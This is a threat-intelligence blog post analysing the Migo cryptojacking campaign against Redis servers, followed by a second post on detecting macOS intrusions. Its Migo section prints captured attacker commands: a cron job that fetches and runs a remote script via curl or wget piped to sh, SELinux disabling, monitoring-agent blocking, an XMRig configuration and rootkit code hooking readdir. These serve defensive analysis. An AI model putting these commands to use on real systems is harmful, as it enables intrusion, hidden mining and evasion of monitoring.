Blog
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Network

/

June 25, 2026

From Click to Command: Behavioral Detection of AppleScript-Led MacOS Intrusions

applescript-led mac os intrusionDefault blog imageDefault blog image

Introduction

Darktrace’s Threat Research team is publishing this analysis to help defenders understand an active pattern of macOS tradecraft observed in multiple customer environments. This post summarizes the behaviors observed, how they were assessed, and what defenders can do now.

Across multiple environments, Darktrace observed a consistent MacOS intrusion pattern beginning with ClickFix-style user-assisted “update” execution and transitioning into AppleScript-driven post-compromise activity and sustained outbound signaling.

While individual indicators were low-confidence, the repeated convergence of weak behavioral signals — including HTTP POST beaconing, rare or IP-only destinations, SSL anomalies, and abnormal client characteristics — provided a defensible indication of command-and-control establishment Darktrace detection and response in these cases was driven by behavior over artifacts. In the highest-confidence instances, automated containment disrupted outbound signaling before sustained tasking could occur.

Background

ClickFix-style activity typically relies on user-assisted execution and plausible “update” pretexting, followed by post-execution use of native tools to keep the footprint light. In MacOS environments, AppleScript and other built-in scripting mechanisms enable flexible post-compromise workflows while minimizing stable file-based indicators.

Following execution, affected devices exhibited a consistent behavioral pattern. AppleScript or equivalent native scripting activity was observed initiating follow-on workflows, after which outbound communications began to establish a structured rhythm.

These communications were characterized by repeated HTTP POST requests to low-prevalence or IP-only endpoints, often combined with unusual SSL properties and client identifiers that diverged from baseline device behavior. Individually, these signals were weak. When correlated across time and devices, they formed a pattern consistent with control establishment rather than benign software activity.

In higher-confidence cases, Autonomous Response actions were able to reduce or halt outbound signaling, interrupting the attacker’s ability to maintain control.

Detection Timeline

In representative cases, the sequence unfolded as follows:

Stage 1 – Initial Execution

Initial activity began with suspicious or masqueraded execution on a MacOS endpoint, consistent with ClickFix-style user deception.

Stage 2 – Post-Execution Scripting

This was followed closely by native scripting activity, most commonly AppleScript, indicating the transition into post-execution workflow.

Stage 3 – Outbound Communications

Outbound communications then emerged, initially sporadic but quickly forming a consistent cadence of HTTP POST requests to rare external endpoints.

Stage 4 – Anomaly Convergence

As activity persisted, additional anomalies became visible — unusual SSL characteristics, abnormal user agents, and connections to infrastructure with no prior network prevalence.

Stage 5 – Autonomous Response

In the most mature stages of the activity, automated containment actions disrupted outbound communications on affected devices, limiting the attacker’s ability to continue tasking while investigations progressed.

Darktrace coverage and detections

The following use-case highlights systems likely affected by malicious macOS intrusion activity linked by Microsoft to the Democratic People’s Republic of Korea (DPRK) [1], with indications of suspicious behavior observed between March 1 and May 3, 2026. The activity overlaps with patterns described in recent reporting on DPRK-nexus MacOS intrusions [1], though attribution confidence in this case remains moderate and based on behavioral alignment rather than solely infrastructure linkage.

Analyst confidence emerged through the correlation of multiple weak signals across time and devices. This included model coverage for rare external communications, sustained beaconing patterns, repeated HTTP POSTs, and anomalous client characteristics. Where enabled, Autonomous Response actions disrupted the most active outbound paths to reduce the attacker’s ability to maintain control while Darktrace’s investigation continued.

Notably, this highly anomalous behavior included:

  • Outbound connections to the rare external endpoint, zoom[.]uswebob[.]us associated with IP address, 148.72.73[.]98 [2][3] over port 443
  • Outbound connections to the rare external endpoint, check02id[.]com associated with IP address, 83.136.210[.]180 [4] over port 7365
  • Outbound connections to the rare external endpoints, 104.145.210[.]107 [5] over port 8443 and 83.136.208[.]48 [6] over port 443
  • Outbound connections to the rare external endpoint, 83.136.208[.]246 [7] over port 6783 with observed URI `/api/daemon` and a PowerShell user agent

Darktrace’s detection initially highlighted a desktop device (running MacOS) engaging in anomalous behavior as early as March 12, 2026. Starting on March 12, the source device triggered a ‘Possible Doppelganger Attack’ alert including connectivity to the hostname "zoom[.]uswebob[.]us · 148.72.73[.]98" over port 443 (TCP, HTTPS, H2). This model highlights a device connecting to a location that is rare but masquerades as legitimate software, such as Zoom in this case, a commonly used technique to blend into expected traffic [2] [3].

 Initial connectivity observed to the rare external hostname, zoom[.]uswebob[.]us · 148.72.73[.]98, over port 443.
Figure 1: Initial connectivity observed to the rare external hostname, zoom[.]uswebob[.]us · 148.72.73[.]98, over port 443.

This was followed roughly seven later by a connection to 104.145.210[.]107 over port 8443, during which approximately 250 KiB of data of inbound data and 30 MiB of outbound data was observed, triggering the ‘Unusual Activity / Unusual External Data to New Endpoint’ in Darktrace.

Quickly after this connection, Darktrace’s Autonomous Response intervened, blocking the device’s access to the unusual external location and halting the data exfiltration attempt.

Figure 2: Darktrace’s detection of unusual data exfiltration, shortly followed by an Autonomous Response action to block it.

The device continued to consistently trigger model alerts relating to unusual external connectivity, including 'Posting HTTP to IP Without Hostname', 'Anomalous Connection / Rare External SSL Self-Signed' alerts, until well after 3 PM that day.

Figure 3: Additional external connectivity to new IP without a hostname, including connectivity to 83.136.208[.]246, alongside an anomalous ‘curl/8.7.1’ user agent and ‘/api/daemon’ URI.
Figure 4: Continued external SSL connectivity to IP 83.136.208[.]48, including connectivity to 83.136.208[.]246, alongside an anomalous ‘curl/8.7.1’ user agent and ‘/api/daemon’ URI.
Figure 5: Continued external HTTP connectivity to hostname, check02id[.]com · 83.136.210[.]180, alongside an anomalous ‘Go-http-client/1,1’ user agent.

From March 13 to March 28, the device continued exhibit unusual connectivity to various endpoints (e.g., 83.136.208[.]48, 83.136.208[.]246, check02id[.]com · 83.136.210[.]180), with the 'Multiple HTTP POSTs to Rare Hostname' model consistently triggering.

Windows OS Case

Pivoting over to an additional device, this time running Windows OS, anomalous behavior was also observed between March 30 and April 20. Notably, on March 30, the device was observed making a large number of suspicious external connection attempts to 83.136.208[.]246 over port 6783, all of which failed.

A further indicator was observed on April 1 with PowerShell connectivity to the same rare endpoint (83.136.208[.]246, port 6783), using the URI '/api/daemon' and the user agent 'Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.7920'.  Additional alerts included 'New User Agent to IP Without Hostname' and 'Anomalous Github Download', alongside activity involving the same endpoint.

Figure 6 : ‘Anomalous Powershell to Rare External Destination’ and ‘Github Download’ model alerts. This behavior involved connectivity with the endpoints ‘83.136.208[.]246’ and ‘github[.]com’.

The device continued triggering 'Posting HTTP to IP Without Hostname' & 'PowerShell to External Rare' alerts between April 4 and April 20 across multiple related endpoints (i.e., 83.136.208[.]48, 83.136.208[.]246, check02id[.]com · 83.136.210[.]180).

Darktrace’s Autonomous Response capability was able to block suspicious PowerShell attempts to unusual external locations, as shown below in an example from April 20.

Figure 7:  Autonomous Response intervening to block an unusual PowerShell connection to an external destination.

Cyber AI Analyst investigations

In higher-confidence instances, Darktrace’s Cyber AI Analyst investigations helped connect otherwise separate model alerts into a single incident narrative, highlighting the attacker’s progression from post-execution scripting into sustained outbound signaling. This contextual stitching is particularly valuable in macOS scenarios where static artefacts are limited, and behavioral sequencing defines the intrusion.

Cyber AI Analyst investigations highlighted alerts on March 12, including unusual repeated connections and possible SSL command-and-control (C2) to multiple endpoints:

Figure 8: Cyber AI Analyst investigation linking events into a unified incident.

Autonomous Response

In addition to the containment actions detailed earlier, Autonomous Response implemented multiple additional measures to contain suspicious activity throughout the course of this attack. Whenever unusual external connectivity was detected, Darktrace blocked it, closing down potential C2 channels. Likewise, when data exfiltration attempts were identified, these connections were stopped to prevent the potential loss of sensitive data.

Figure 9: Autonomous Response actions implemented by Darktrace in response to suspicious connectivity in mid-March.

